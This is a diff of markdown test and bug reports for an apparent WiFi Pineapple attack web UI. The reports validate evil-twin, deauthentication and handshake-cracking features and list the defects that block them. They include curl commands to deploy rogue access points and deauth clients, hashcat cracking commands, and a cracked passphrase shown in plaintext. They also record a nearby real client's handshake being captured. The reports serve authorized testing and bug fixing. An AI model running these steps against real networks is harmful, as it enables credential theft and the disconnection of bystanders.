- `Znet-Open` — open (enc `0` in recon DB), 2.4 GHz ch 6 (`B6:8B:A9:17:2A:6E`) and ch 11
|
||||||
|
(`B6:8B:A9:17:47:33`).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Results summary
|
||||||
|
|
||||||
|
| # | Attack / capability | Result | Evidence |
|
||||||
|
|---|---|---|---|
|
||||||
|
| 1 | Evil WPA (PSK) 5 GHz — radio1 `wlan1wpa` | **PASS** | Twin authenticated Kali + 2 real clients; 4-way captured on `wlan1mon`; `.hc22000` cracked → PSK recovered. |
|
||||||
|
| 2 | Evil WPA (PSK) 2.4 GHz — radio0 `wlan0wpa` | **PASS** (flaky deploy) | 4-way captured on `wlan0mon`; cracked → PSK recovered. |
|
||||||
|
| 3 | Evil Open — radio0 `wlan0open` (BSSID-spoofed) | **PASS** | Kali associated to spoofed-BSSID twin; bidirectional IP/DNS/TCP captured on `wlan0mon`. |
|
||||||
|
| 4 | Evil Enterprise — standalone `wlan1ent` PineAPE | **FAIL** | AP + TLS tunnel work; **inner EAP auth never completes**; zero credentials captured. |
|
||||||
|
| 5 | Deauth — `/api/attacks/deauth`, `/api/pineap/deauth/client` | **FAIL (bug)** | `unknown app DEAUTH_CLIENT`. Underlying `PINEAPPLE_DEAUTH_CLIENT` works (on-wire deauth frames). |
|
||||||
|
| 6 | Client kick — `/api/pineap/clients/kick` | **FAIL (same bug)** | Deny filter set, but deauth half fails → client never actually kicked. |
|
||||||
|
| 7 | Attack capture API (`/api/attacks/capture`) | **PASS** | tcpdump start/stop/status on `wlan0mon`/`wlan1mon`; pcaps analyzable. |
|
||||||
|
| 8 | Handshake export (`/api/attacks/export/hc22000`) | **PASS** | Valid `.hc22000`; cracked with `hashcat -m 22000`. |
|
||||||
|
| 9 | PineAP settings / filters API | **PASS** | mode/add/delete/clear; **gotcha:** `allow`+empty blocks karma association. |
|
||||||
|
| 10 | MCP harness (`POST /mcp`) | **PASS** | all tools; `attack.deauth` inherits bug #5. |
|
||||||
|
| 11 | Web UI click-through | **PASS** | login → Evil WPA deploy ("Applied and verified on device", LIVE) → capture → export → stop. |
|
||||||
|
|
||||||
|
**Two critical defects to fix first:** #5 (deauth/kick, one-character-class bug) and #6's hidden twin
|
||||||
|
#2 (`_allow_all_ssids` short-name bug that blocks all evil-twin association until a human sets the
|
||||||
|
filter to deny). See §3.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. Environment notes (facts the fixer needs)
|
||||||
|
|
||||||
|
### 2.1 hak5cmd dispatches by FULL app name as `argv[1]`
|
||||||
|
`/usr/bin/hak5cmd` (Pager 1.1.0) is dispatched by app name. Invoking the symlinks
|
||||||
|
(`/usr/bin/PINEAPPLE_DEAUTH_CLIENT`) or passing the full `PINEAPPLE_*` name as `argv[1]` both work:
|
||||||
|
|
||||||
|
```sh
|
||||||
|
hak5cmd DEAUTH_CLIENT <ap> <client> <ch> # FAILS: "unknown app DEAUTH_CLIENT"
|
||||||
|
hak5cmd PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0, deauth frames on wire
|
||||||
|
/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch> # rc=0
|
||||||
|
```
|
||||||
|
|
||||||
|
Verified app names present on the unit (from `hak5cmd` with no args): `PINEAPPLE_DEAUTH_CLIENT`,
|
||||||
|
`PINEAPPLE_DEVICE_FILTER_*`, `PINEAPPLE_MAC_FILTER_*`, `PINEAPPLE_NETWORK_FILTER_*`,
|
||||||
|
`PINEAPPLE_SSID_FILTER_*`, `PINEAPPLE_SSID_POOL_*`, `PINEAPPLE_HOPPING_*`, `PINEAPPLE_MIMIC_*`,
|
||||||
|
`PINEAPPLE_EXAMINE_*`, `PINEAPPLE_RECON_*`, `PINEAPPLE_SET_BANDS`, `PINEAPPLE_LOOT_ARCHIVE`.
|
||||||
|
|
||||||
|
The `hak5()` helper (`server.py:5646`) passes `[HAK5CMD] + args` and the filter calls in the codebase
|
||||||
|
use full names (those work). The deauth and `_allow_all_ssids` calls use short names (broken).
|
||||||
|
|
||||||
|
### 2.2 SSID / client filter semantics on this firmware
|
||||||
|
- Filter mode **`allow`** = whitelist. With an empty list this makes karma respond to **nothing**, so
|
||||||
|
clients **cannot associate** to evil twins.
|
||||||
|
- Filter mode **`deny`** = blacklist (allow-by-default). With an empty list everything is allowed.
|
||||||
|
- The evil-twin flow **requires** both SSID and client filters in `deny` mode with empty lists.
|
||||||
|
- Mark VIII's `_allow_all_ssids()` is *supposed* to set the SSID filter to `deny` but is broken (bug #2).
|
||||||
|
|
||||||
|
### 2.3 Deauth injection phy
|
||||||
|
`h_attacks_deauth` chooses the inject interface from the channel band (`wlan1mon` for 5/6 GHz,
|
||||||
|
`wlan0mon` for 2.4 GHz) and switches `_pineap INTERFACE INJECT` for 2.4 GHz. On 5 GHz the phy is
|
||||||
|
pinned by the active AP interface, so deauth on a 5 GHz evil twin's channel works. The 5 GHz monitor
|
||||||
|
(`wlan1mon`) does **not** reliably show injected 5 GHz deauth frames (phy1 beacon-offload quirk), so
|
||||||
|
on-wire deauth proof for 5 GHz is best done on 2.4 GHz (`wlan0mon`) where own-TX is visible, or via
|
||||||
|
client-side disconnect logs.
|
||||||
|
|
||||||
|
### 2.4 Capture filter quirk
|
||||||
|
On this firmware's monitor interfaces `tcpdump -r cap 'eapol'` matches **0** frames even when EAPOL
|
||||||
|
is present. The working filter is `llc and ether proto 0x888e`. (Affects any analysis/tooling that
|
||||||
|
grep's `eapol`.)
|
||||||
|
|
||||||
|
### 2.5 pineapd UCI baseline (guard-enforced known-good)
|
||||||
|
`pineapd.@hostapd[0].wpaiface='wlan0wpa'` (only the 2.4 GHz WPA iface is the daemon's "own AP").
|
||||||
|
`mgmtiface='wlan0mgmt'`. `wlan1mon.hop` baseline is `0` in the guard set
|
||||||
|
(`PINEAPD_SAFE_UCI`, `server.py:4639`); monitors park between scans, hopping resumes during recon.
|
||||||
|
|
||||||
|
### 2.6 Reliability core interactions observed
|
||||||
|
The rollback watchdog arms around `attack_deploy` / `attack_stop` and restores the pre-op UCI snapshot
|
||||||
|
if local liveness (UI `:8080` + monitor presence) fails for sustained ticks. Rapid deploy/stop cycles
|
||||||
|
that drop the radios trigger restores that can **resurrect older AP states** (the `wlan0open` Znet-Open
|
||||||
|
twin reappeared twice after we had stopped it). The watchdog self-exits after ~120 quiet ticks.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Defects to fix (ranked)
|
||||||
|
|
||||||
|
### BUG 1 — CRITICAL: Deauth / kick invoke the wrong hak5cmd app name
|
||||||
|
|
||||||
|
**Impact:** `/api/attacks/deauth`, `/api/pineap/deauth/client`, `/api/pineap/clients/kick` (deauth
|
||||||
|
half), and MCP `attack.deauth` / `pineap.kick_client` all fail with
|
||||||
|
`unknown app DEAUTH_CLIENT`. The **entire deauth attack is non-functional through Mark VIII.**
|
||||||
|
|
||||||
|
**Locations (all in `payload/user/remote_access/pager-webui/server.py`):**
|
||||||
|
- `server.py:3009` — `_deauth_client_via_iface()`
|
||||||
|
```python
|
||||||
|
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, mac, str(channel)], timeout=30)
|
||||||
|
```
|
||||||
|
- `server.py:4602` — `h_attacks_deauth()`
|
||||||
|
```python
|
||||||
|
rc, out, err = device_run([HAK5CMD, 'DEAUTH_CLIENT', bssid, client, str(channel or 1)], timeout=30)
|
||||||
|
```
|
||||||
|
- `h_client_kick` (`server.py:963`) and MCP `kick` (`server.py:5368`) both call
|
||||||
|
`_deauth_client_via_iface`, so fixing `3009` fixes them. Their filter half (`PINEAPPLE_DEVICE_FILTER_*`)
|
||||||
|
is already correct.
|
||||||
|
|
||||||
|
**Root cause:** short name `DEAUTH_CLIENT`; hak5cmd requires the full app name `PINEAPPLE_DEAUTH_CLIENT`
|
||||||
|
(see §2.1). `HAK5CMD` defaults to `/usr/bin/hak5cmd` (`server.py:31`).
|
||||||
|
|
||||||
|
**Fix:** replace `'DEAUTH_CLIENT'` with `'PINEAPPLE_DEAUTH_CLIENT'` at `server.py:3009` and `:4602`.
|
||||||
|
|
||||||
|
**Verification (live-proven):**
|
||||||
|
```sh
|
||||||
|
# before fix
|
||||||
|
curl -b cookie -H 'Content-Type: application/json' \
|
||||||
|
-d '{"bssid":"B6:8B:A9:17:2A:6E","client":"A0:A4:C5:93:F8:05","channel":6}' \
|
||||||
|
http://172.16.52.1:8080/api/attacks/deauth
|
||||||
|
# => {"error":"deauth failed","detail":"unknown app DEAUTH_CLIENT\n"}
|
||||||
|
|
||||||
|
# working device-level invocation (deauth client from our own evil twin):
|
||||||
|
/usr/bin/PINEAPPLE_DEAUTH_CLIENT B6:8B:A9:17:2A:6E A0:A4:C5:93:F8:05 6 # rc=0
|
||||||
|
# on-wire proof on wlan0mon:
|
||||||
|
tcpdump -r cap -nn 'wlan type mgt subtype deauth' # SA=spoofed BSSID, DA=client
|
||||||
|
```
|
||||||
|
Regression check: run `/api/pineap/clients/kick` on an associated client and confirm it is
|
||||||
|
disconnected AND stays disconnected while the deny filter is present; then `delete` the filter entry
|
||||||
|
and confirm re-association works.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### BUG 2 — CRITICAL: `_allow_all_ssids()` uses a short name and silently fails
|
||||||
|
|
||||||
|
**Impact:** after every evil-twin deploy, karma remains in `allow` (whitelist) mode → **no client can
|
||||||
|
associate to the twin**. This is why the Evil Open association only worked after a human set the
|
||||||
|
filter to `deny` via the API.
|
||||||
|
|
||||||
|
**Location:** `server.py:3691-3695`
|
||||||
|
```python
|
||||||
|
def _allow_all_ssids():
|
||||||
|
"""Set the SSID filter to deny mode (allow-by-default) so karma
|
||||||
|
responds to any probed SSID."""
|
||||||
|
rc, out, err = device_run([HAK5CMD, 'SSID_FILTER_MODE', 'deny'], timeout=30)
|
||||||
|
return rc == 0
|
||||||
|
```
|
||||||
|
`SSID_FILTER_MODE` is a short name. The valid app names on this unit are
|
||||||
|
`PINEAPPLE_SSID_FILTER_MODE` and `PINEAPPLE_NETWORK_FILTER_MODE`. The return value is ignored by all
|
||||||
|
callers (`_deploy_wpa_open` at `:3774`, `_deploy_enterprise` at `:4277`), so it fails silently.
|
||||||
|
|
||||||
|
**Fix:** use a full app name. Consistency check: the filter API for `ssid` kind uses prefix
|
||||||
|
`PINEAPPLE_NETWORK_FILTER` (`server.py:5722`), and the deployed `pineapd.@ssid_filter[0].mode` is
|
||||||
|
`deny` in the guard baseline — but the live daemon readback was `allow` after deploy, proving the
|
||||||
|
call did not land. Verify on-device that the chosen name flips
|
||||||
|
`GET /api/pineap/filters/ssid` to `{"mode":"deny"}`.
|
||||||
|
|
||||||
|
**Verification:**
|
||||||
|
```sh
|
||||||
|
curl -b cookie http://172.16.52.1:8080/api/pineap/filters/ssid # must show "deny" after a deploy
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### BUG 3 — HIGH: Evil Enterprise credential capture broken (inner EAP never completes)
|
||||||
|
|
||||||
|
**Impact:** the Enterprise attack is non-functional: the AP comes up, clients associate, the TLS
|
||||||
|
tunnel builds, but the server immediately sends EAP-Failure after the phase-2 identity for every
|
||||||
|
inner method (MSCHAPv2, GTC, TTLS-PAP). **Zero credentials** land in `hostap_basic`,
|
||||||
|
`hostap_chalresp`, or `/root/loot/enterprise/captures.json`.
|
||||||
|
|
||||||
|
**Locations:**
|
||||||
|
- `_eap_users_text` — `server.py:3836-3853` (writes the `eap_user_file`)
|
||||||
|
- `_deploy_enterprise` — `server.py:4217-4325`
|
||||||
|
- `_ent_conf_text` — `server.py:4102`
|
||||||
|
- `_start_ent_hostapd` — `server.py:4173-4202`
|
||||||
|
- `_ensure_ent_certs` — `server.py:3875`
|
||||||
|
|
||||||
|
**Observed behavior (reproducible):**
|
||||||
|
- Deploy succeeds (`verified: true`, `ctrl_linked: true`, hostapd `state=ENABLED` on `wlan1ent`,
|
||||||
|
bssid `02:13:37:ae:8e:7c`, ch44, `ieee8021x=1 eap_server=1 wpa_key_mgmt=WPA-EAP`).
|
||||||
|
- Kali (PEAP/MSCHAPv2, PEAP/GTC, and TTLS/PAP all tried) associates and the outer TLS tunnel
|
||||||
|
completes; the client then sees `EAP-PEAP: Phase 2 Failure` / `EAP-Failure`.
|
||||||
|
- hostapd (karma-patched `wpad`, v2.12-devel) logs:
|
||||||
|
```
|
||||||
|
IEEE 802.1X: authentication failed - EAP type: 0 (unknown)
|
||||||
|
IEEE 802.1X: Supplicant used different EAP type: 25 (PEAP)
|
||||||
|
```
|
||||||
|
- `eap_user_file` parser on this build **requires quoted identities** for non-wildcard entries:
|
||||||
|
unquoted `victim@znet.local` → `Invalid EAP identity (no " in start) on line 1`.
|
||||||
|
|
||||||
|
**eap_users formats tried, all failing identically:**
|
||||||
|
1. `* PEAP,TTLS` + `* MSCHAPV2,TTLS-MSCHAPV2,TTLS-MSCHAP "pw" [2]` (what the code writes today)
|
||||||
|
2. `* PEAP,TTLS` + `* MSCHAPV2 "pw"` (no `[2]`)
|
||||||
|
3. `* PEAP,TTLS` + `* MSCHAPV2 "pw" [2]`
|
||||||
|
4. `"*" PEAP,TTLS` + `"*" MSCHAPV2 "pw" [2]` (quoted wildcards)
|
||||||
|
5. `victim@znet.local PEAP,TTLS` + `victim@znet.local MSCHAPV2 "pw"` (unquoted → parse error)
|
||||||
|
6. `"victim@znet.local" PEAP,TTLS` + `"victim@znet.local" MSCHAPV2 "pw"` (quoted exact)
|
||||||
|
7. `* PEAP,TTLS` + `* TTLS-PAP "pw"` (client `eap=TTLS phase2="auth=PAP"`) — also fails
|
||||||
|
8. Passphrase matched (`VictimPass123!`) and mismatched (`dummy`) — no difference
|
||||||
|
|
||||||
|
**Fixer investigation pointers (open questions):**
|
||||||
|
- Verify whether `pineap_enable` / `pineape_enable` / `pineape_auth_enable` on the standalone
|
||||||
|
instance actually arm PineAPE auth-capture on this build (they return `OK`, and the startup log
|
||||||
|
shows `PINEAP: setting MAC filter mode DENY`, but no capture events ever appear).
|
||||||
|
- Confirm the correct `eap_user_file` grammar for THIS `wpad` build (source of the `[2]` flag and
|
||||||
|
whether a phase-2-only entry is required for the inner lookup).
|
||||||
|
- Test with a controlled EAP client (`eapol_test` from a host with `wpa_supplicant` dev headers) and
|
||||||
|
with syslog `logger_syslog_level=0` on the instance to see why the inner method is never offered.
|
||||||
|
- Compare the Mark VIII standalone conf to what the stock daemon would generate for
|
||||||
|
`set_ap` enctype `wpa2` (the daemon path is broken with `eap_server_erp=1`; confirm whether
|
||||||
|
removing just that key makes the stock path capture).
|
||||||
|
- `hostap_basic` / `hostap_chalresp` are populated by pineapd from the karma hostapd socket; confirm
|
||||||
|
`pineapd.@hostapd[0].mgmtiface='wlan1ent'` is sufficient (it is set and survives), and whether
|
||||||
|
`/etc/init.d/pineapd reload` after deploy is enough.
|
||||||
|
|
||||||
|
**Verification:** with a fixed enterprise deploy, a PEAP/MSCHAPv2 client must (a) complete
|
||||||
|
`EAPOL` successfully, and (b) yield rows in `hostap_basic` (identity) and `hostap_chalresp`
|
||||||
|
(challenge/response), which must appear in `GET /api/pineap/enterprise/radius` and be crackable via
|
||||||
|
`GET /api/pineap/enterprise/export/hashcat` (`hashcat -m 5500`).
|
||||||
|
|
||||||
|
**Secondary bug found while here:** `_start_ent_hostapd` (`server.py:4173`) starts hostapd with
|
||||||
|
`-f ENT_LOG` on the first attempt but **drops `-f` on the fallback attempt** (`server.py:4183`), so
|
||||||
|
the enterprise log file stays empty — the fixer will need another log channel (syslog) while
|
||||||
|
debugging.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### ISSUE 4 — MEDIUM: 5 GHz handshake loot pipeline (`hostap_handshake` / `/root/loot/handshakes`) never populates
|
||||||
|
|
||||||
|
**Symptom:** handshakes complete on the radio1 twin (`wlan1wpa`) — `hostapd` logs
|
||||||
|
`EAPOL-4WAY-HS-COMPLETED <client>` — but `hostap_handshake` stays empty and no files are written to
|
||||||
|
`/root/loot/handshakes`. The Handshakes/Loot UI shows 0.
|
||||||
|
|
||||||
|
**Likely root cause:** `pineapd.@hostapd[0].wpaiface='wlan0wpa'` only (2.4 GHz). pineapd treats
|
||||||
|
`wlan0wpa` as its own handshake-logging AP; the radio1 `wlan1wpa` twin (created via the UCI/radio1
|
||||||
|
path, `_apply_radio1_ap`) is not recognized, so pineapd never logs own-AP handshakes for it.
|
||||||
|
|
||||||
|
**Working path (validated end-to-end):** the monitor capture API + export:
|
||||||
|
1. `POST /api/attacks/capture {iface:wlan1mon, action:start}` before the client connects.
|
||||||
|
2. Client 4-way happens → the pcap contains EAPOL (`tcpdump -r cap 'llc and ether proto 0x888e'`).
|
||||||
|
3. `GET /api/attacks/export/hc22000` → hcxpcapngtool → `.hc22000` → `hashcat -m 22000` cracks it.
|
||||||
|
|
||||||
|
**Fixer options:** either teach the deploy to make pineapd recognize the radio1 WPA iface (careful:
|
||||||
|
`wpaiface` is a single shared daemon setting; two ifaces may need a list or the mgmtiface trick), or
|
||||||
|
surface the monitor-capture+export flow as the supported 5 GHz evidence path. The UI's
|
||||||
|
"Handshakes Captured" counter reads `hostap_handshake` and will show 0 for 5 GHz until this is fixed.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### ISSUE 5 — MEDIUM: 2.4 GHz (`radio0` daemon `set_ap`) attack deploy is flaky
|
||||||
|
|
||||||
|
**Symptom:** `_deploy_wpa_open` 2.4 GHz path (`server.py:3725-3753`) calls the daemon
|
||||||
|
`PUT /api/settings/wifi/set_ap` for `wlan0wpa`/`wlan0open`. The resulting `wifi reload` drops the
|
||||||
|
radios for ~40–60 s (during which `iw dev` can show zero interfaces and the deploy poll may return
|
||||||
|
`verified: false`). Afterwards:
|
||||||
|
- the stock daemon can revert the UCI (`wlan0wpa.ssid` back to `pager-wpa`, `disabled=1`), and
|
||||||
|
- the reliability rollback watchdog can restore an older snapshot (resurrecting a previously stopped
|
||||||
|
AP, e.g. the `wlan0open` Znet-Open twin reappeared twice).
|
||||||
|
|
||||||
|
**Workarounds that made it work:** deploy once → poll `iw dev wlan0wpa info` until `ssid Znet` →
|
||||||
|
start a **fresh** capture (the old one died when the radios dropped) → connect the client. The
|
||||||
|
handshake then captures and cracks normally.
|
||||||
|
|
||||||
|
**Fixer pointers:** make the deploy poll tolerate the radio-restart window (the 5 GHz/radio1 UCI path
|
||||||
|
already behaves better); consider whether the radio0 path should write UCI + `wifi reload` instead of
|
||||||
|
the daemon `set_ap`, and whether the watchdog should be suppressed until the radios reconverge.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
### ISSUE 6 — LOW: tcpdump `eapol` filter matches nothing on this firmware
|
||||||
|
|
||||||
|
Use `llc and ether proto 0x888e` instead. Relevant to any in-app capture analysis, docs, or tooling
|
||||||
|
that filters on `eapol`.
|
||||||
|
|
||||||
|
### ISSUE 7 — LOW: monitor capture dies when the radio restarts mid-capture
|
||||||
|
|
||||||
|
When a `wifi reload` drops the monitor iface during a capture, the pcap ends up with 1 frame while
|
||||||
|
the API still reports `running: true` (the tcpdump process is gone). The capture API should detect
|
||||||
|
iface-down / dead-pid and either restart or report stopped.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Per-attack validation evidence (for the report)
|
||||||
|
|
||||||
|
### 4.1 Evil WPA 5 GHz — PASS (crackable)
|
||||||
|
- Deploy: `POST /api/attacks/deploy {"kind":"wpa","ssid":"Znet","passphrase":"EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY","enctype":"psk2","channel":44}`
|
||||||
|
→ `{"iface":"wlan1wpa","band":"5","verified":true}`.
|
||||||
|
- AP live: `wlan1wpa` BSSID `02:13:37:ae:8e:7c`, hostapd `wpa=2 key_mgmt=WPA-PSK`.
|
||||||
|
- Client auth: `wpa_supplicant` completed full 4-way (`Key negotiation completed`, PTK=CCMP GTK=CCMP);
|
||||||
|
hostapd logged `EAPOL-4WAY-HS-COMPLETED a0:a4:c5:93:f8:05`; a real nearby client (`e6:75:7f:45:fd:57`)
|
||||||
|
also got caught (full handshake) and another (`68:9e:19:d1:6e:e1`) hit a PSK mismatch (evidence the
|
||||||
|
twin attracts real clients).
|
||||||
|
- Capture: `wlan1mon` pcap held 170 EAPOL key frames.
|
||||||
|
- Convert: `hcxpcapngtool -o /root/loot/hc22000/znet.hc22000 hs_client.cap`.
|
||||||
|
- Crack (on Kali): `hashcat -m 22000 /tmp/znet.hc22000 /tmp/wl.txt --potfile-disable`
|
||||||
|
```
|
||||||
|
9b029677bdecbadd3bc3c3a211627f96:021337ae8e7c:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY
|
||||||
|
329438490c9d7af672eb01f2ceb26bc0:021337ae8e7c:e6757f45fd57:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY
|
||||||
|
```
|
||||||
|
Both our client and the real client's handshakes cracked to the real PSK.
|
||||||
|
|
||||||
|
### 4.2 Evil WPA 2.4 GHz — PASS (crackable, flaky deploy)
|
||||||
|
- Deploy `channel:6` → `wlan0wpa` (daemon `set_ap`). First two attempts `verified:false` and reverted
|
||||||
|
by the daemon/watchdog; final attempt `verified:true`. Fresh `wlan0mon` capture, client connected,
|
||||||
|
4-way captured (`EAPOL key v1/v2`), hostapd `EAPOL-4WAY-HS-COMPLETED`.
|
||||||
|
- Crack: `8533e8028891cf997bbaf0d1880ca4be:001337aee050:a0a4c593f805:Znet:EXAKypBWxxkiu9zrJb4Jwd8Y7p4xY`.
|
||||||
|
|
||||||
|
### 4.3 Evil Open (Znet-Open) — PASS
|
||||||
|
- Deploy `{"kind":"open","ssid":"Znet-Open","channel":6,"bssid":"B6:8B:A9:17:2A:6E","country":"US"}`
|
||||||
|
→ `wlan0open` live with **spoofed BSSID** `b6:8b:a9:17:2a:6e` (= real AP MAC), hostapd ENABLED.
|
||||||
|
- Association initially FAILED until the SSID/client filters were set to `deny` via the API — this is
|
||||||
|
bug #2 manifesting. After the fix to bug #2, the client associates (wpa_supplicant COMPLETED on the
|
||||||
|
spoofed BSSID; `/api/pineap/clients` shows `A0:A4:C5:93:F8:05` on `wlan0open`).
|
||||||
|
- Data plane through the twin (client IP `172.16.52.99/24` on the twin):
|
||||||
|
- `ping 172.16.52.1` → 4/4 replies
|
||||||
|
- DNS `172.16.52.99 > 172.16.52.1.53` query + NXDOMAIN reply
|
||||||
|
- TCP SYN `172.16.52.99 -> 172.16.52.1.80`
|
||||||
|
All captured on `wlan0mon` (`attack_wlan0mon_1787506980.cap`). This is the on-wire MITM proof.
|
||||||
|
|
||||||
|
### 4.4 Evil Enterprise — FAIL (see BUG 3)
|
||||||
|
- AP verified, ctrl linked, client association recorded in `hostap_client` (visible in
|
||||||
|
`/api/pineap/enterprise/radius` `clients`), but zero credentials anywhere.
|
||||||
|
|
||||||
|
### 4.5 Deauth / kick — FAIL via API (BUG 1), working at device level
|
||||||
|
- Device-level (works): `/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>`; on-wire deauth frames
|
||||||
|
(SA=spoofed BSSID, "Unspecified reason") captured on `wlan0mon`; client dropped.
|
||||||
|
- API (broken): see BUG 1.
|
||||||
|
- Kick: deny filter is applied (`/api/pineap/filters/client` shows the MAC) but the deauth half fails,
|
||||||
|
so the client re-associates and is never kicked.
|
||||||
|
|
||||||
|
### 4.6 Capture / export / filters / MCP / UI — PASS
|
||||||
|
- Capture API start/stop/status both ifaces; export produced `/root/loot/hc22000/handshakes_*.hc22000`;
|
||||||
|
filter set_mode/add/delete/clear; MCP `tools/list` + `attack.deploy|stop|status|capture`,
|
||||||
|
`loot.handshakes`, `loot.enterprise_creds`, `recon.isearch`; UI full flow on the Evil WPA page.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Recovery & hygiene observed during the suite
|
||||||
|
|
||||||
|
- **Reboot was required once:** after `_disable_enterprise_ap()` raced our manual hostapd kills, the
|
||||||
|
enterprise hostapd (`hostapd -B -P /var/run/hostapd-mk8.pid /root/loot/enterprise.conf`) entered
|
||||||
|
D-state (uninterruptible) holding a cfg80211 lock; `iw dev` hung indefinitely. `reboot` cleared it;
|
||||||
|
Mark VIII auto-restarted (`/etc/init.d/pagerwebui` → `running`), pineapd PONG, monitors up, health
|
||||||
|
`pass`. `mk8-guard` re-applied safe UCI on boot.
|
||||||
|
- Final device state after cleanup: all attacks stopped, no leftover APs, no tcpdump, 1 watchdog
|
||||||
|
self-exiting, Kali restored to `Znet`, `/api/health` env `pass`.
|
||||||
|
- Evidence remains on devices: `/root/loot/pcap/attack_*.cap` (6 files), `/root/loot/hc22000/`
|
||||||
|
(`znet.hc22000`, `znet24.hc22000`, `handshakes_*.hc22000`), extracted
|
||||||
|
`/root/loot/pcap/hs_client.cap`, `hs_client_24.cap`; on Kali `/tmp/znet.hc22000`, `/tmp/znet24.hc22000`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Reproduction command reference
|
||||||
|
|
||||||
|
```sh
|
||||||
|
# login
|
||||||
|
curl -c cj -H 'Content-Type: application/json' \
|
||||||
|
-d '{"username":"root","password":"<device-pw>"}' http://172.16.52.1:8080/api/login
|
||||||
|
|
||||||
|
# deploy evil wpa 5g / 2.4g / open / enterprise
|
||||||
|
curl -b cj -H 'Content-Type: application/json' \
|
||||||
|
-d '{"kind":"wpa","ssid":"Znet","passphrase":"<psk>","enctype":"psk2","channel":44}' \
|
||||||
|
http://172.16.52.1:8080/api/attacks/deploy
|
||||||
|
|
||||||
|
# status / stop / capture / export
|
||||||
|
curl -b cj http://172.16.52.1:8080/api/attacks/status
|
||||||
|
curl -b cj -H 'Content-Type: application/json' -d '{"kind":"wpa"}' http://172.16.52.1:8080/api/attacks/stop
|
||||||
|
curl -b cj -H 'Content-Type: application/json' -d '{"action":"start","iface":"wlan1mon"}' http://172.16.52.1:8080/api/attacks/capture
|
||||||
|
curl -b cj http://172.16.52.1:8080/api/attacks/export/hc22000
|
||||||
|
|
||||||
|
# filter checks (must be "deny" + empty for evil twins)
|
||||||
|
curl -b cj http://172.16.52.1:8080/api/pineap/filters/ssid
|
||||||
|
curl -b cj http://172.16.52.1:8080/api/pineap/filters/client
|
||||||
|
curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/ssid
|
||||||
|
curl -b cj -H 'Content-Type: application/json' -d '{"action":"set_mode","mode":"deny"}' http://172.16.52.1:8080/api/pineap/filters/client
|
||||||
|
|
||||||
|
# device-level deauth (works) vs API (broken)
|
||||||
|
/usr/bin/PINEAPPLE_DEAUTH_CLIENT <ap> <client> <ch>
|
||||||
|
curl -b cj -H 'Content-Type: application/json' \
|
||||||
|
-d '{"bssid":"<ap>","client":"<client>","channel":6}' http://172.16.52.1:8080/api/attacks/deauth
|
||||||
|
|
||||||
|
# crack
|
||||||
|
hashcat -m 22000 znet.hc22000 wl.txt --potfile-disable
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Suggested fix order
|
||||||
|
|
||||||
|
1. **BUG 1** (deauth app name) — 2-line change, restores deauth + kick + MCP deauth/kick.
|
||||||
|
2. **BUG 2** (`_allow_all_ssids` app name) — restores evil-twin association for all attack types.
|
||||||
|
3. **BUG 3** (enterprise inner EAP) — needs the investigation in §BUG 3 before a fix.
|
||||||
|
4. **ISSUE 4** (5 GHz loot pipeline) — decide capture-path vs. daemon-recognition.
|
||||||
|
5. **ISSUE 5** (radio0 deploy flakiness) + **ISSUE 6/7** (capture nits) — hardening.
|
||||||
|
|
||||||
|
Add regression coverage to `tests/test_attacks.py` (assert `PINEAPPLE_DEAUTH_CLIENT` is used) and to
|
||||||
|
`tests/test_pineap_*.py` for the filter-mode assertion (deny-after-deploy).
|
||||||
@@ -0,0 +1,85 @@
|
|||||||
|
# Mark-VIII PineAP Attack Validation — Round 2 (post-fix), 2026-08-23
|
||||||
|
|
||||||
|
Full live re-validation of every PineAP attack type exposed by Mark VIII, executed after the
|
||||||
|
fix round in commit `d23ea56`. All attacks were run against authorized, in-scope networks only.
|
||||||
|
|
||||||
|
## Environment
|
||||||
|
|
||||||
|
| Role | Host | Identity |
|
||||||
|
|---|---|---|
|
||||||
|
| Attack platform | WiFi Pineapple Pager 24.10.1, `root@172.16.52.1`, Mark VIII `:8080` | radio0 MAC base `00:13:37:ae:e0:50`, radio1 `00:13:37:ae:8e:7c` |
|
||||||
|
| Victim client | Kali Linux, `bzuccaro@192.168.1.103`, wlan0 `a0:a4:c5:93:f8:05` | NetworkManager + standalone wpa_supplicant |
|
||||||
|
| In-scope targets | `Znet` (WPA2/WPA3-SAE-mixed, 5GHz ch36/44/48/…; PSK provided) and `Znet-Open` (open, 2.4GHz ch6 `B6:8B:A9:17:2A:6E`, ch11 `B6:8B:A9:17:47:33`) | recon.db fresh scans confirmed both |
|
||||||
|
|
||||||
|
Pre-flight: `/api/health` env `pass` (pineapd alive, both monitors up, recon readable).
|
||||||
|
|
||||||
|
## Results summary
|
||||||
|
|
||||||
|
| # | Attack / capability | Endpoint(s) | Result | Proof captured |
|
||||||
|
|---|---|---|---|---|
|
||||||
|
| 1 | Recon | recon.db / scan history | **PASS** | Both SSIDs present with fresh timestamps, correct BSSIDs/channels/crypto |
|
||||||
|
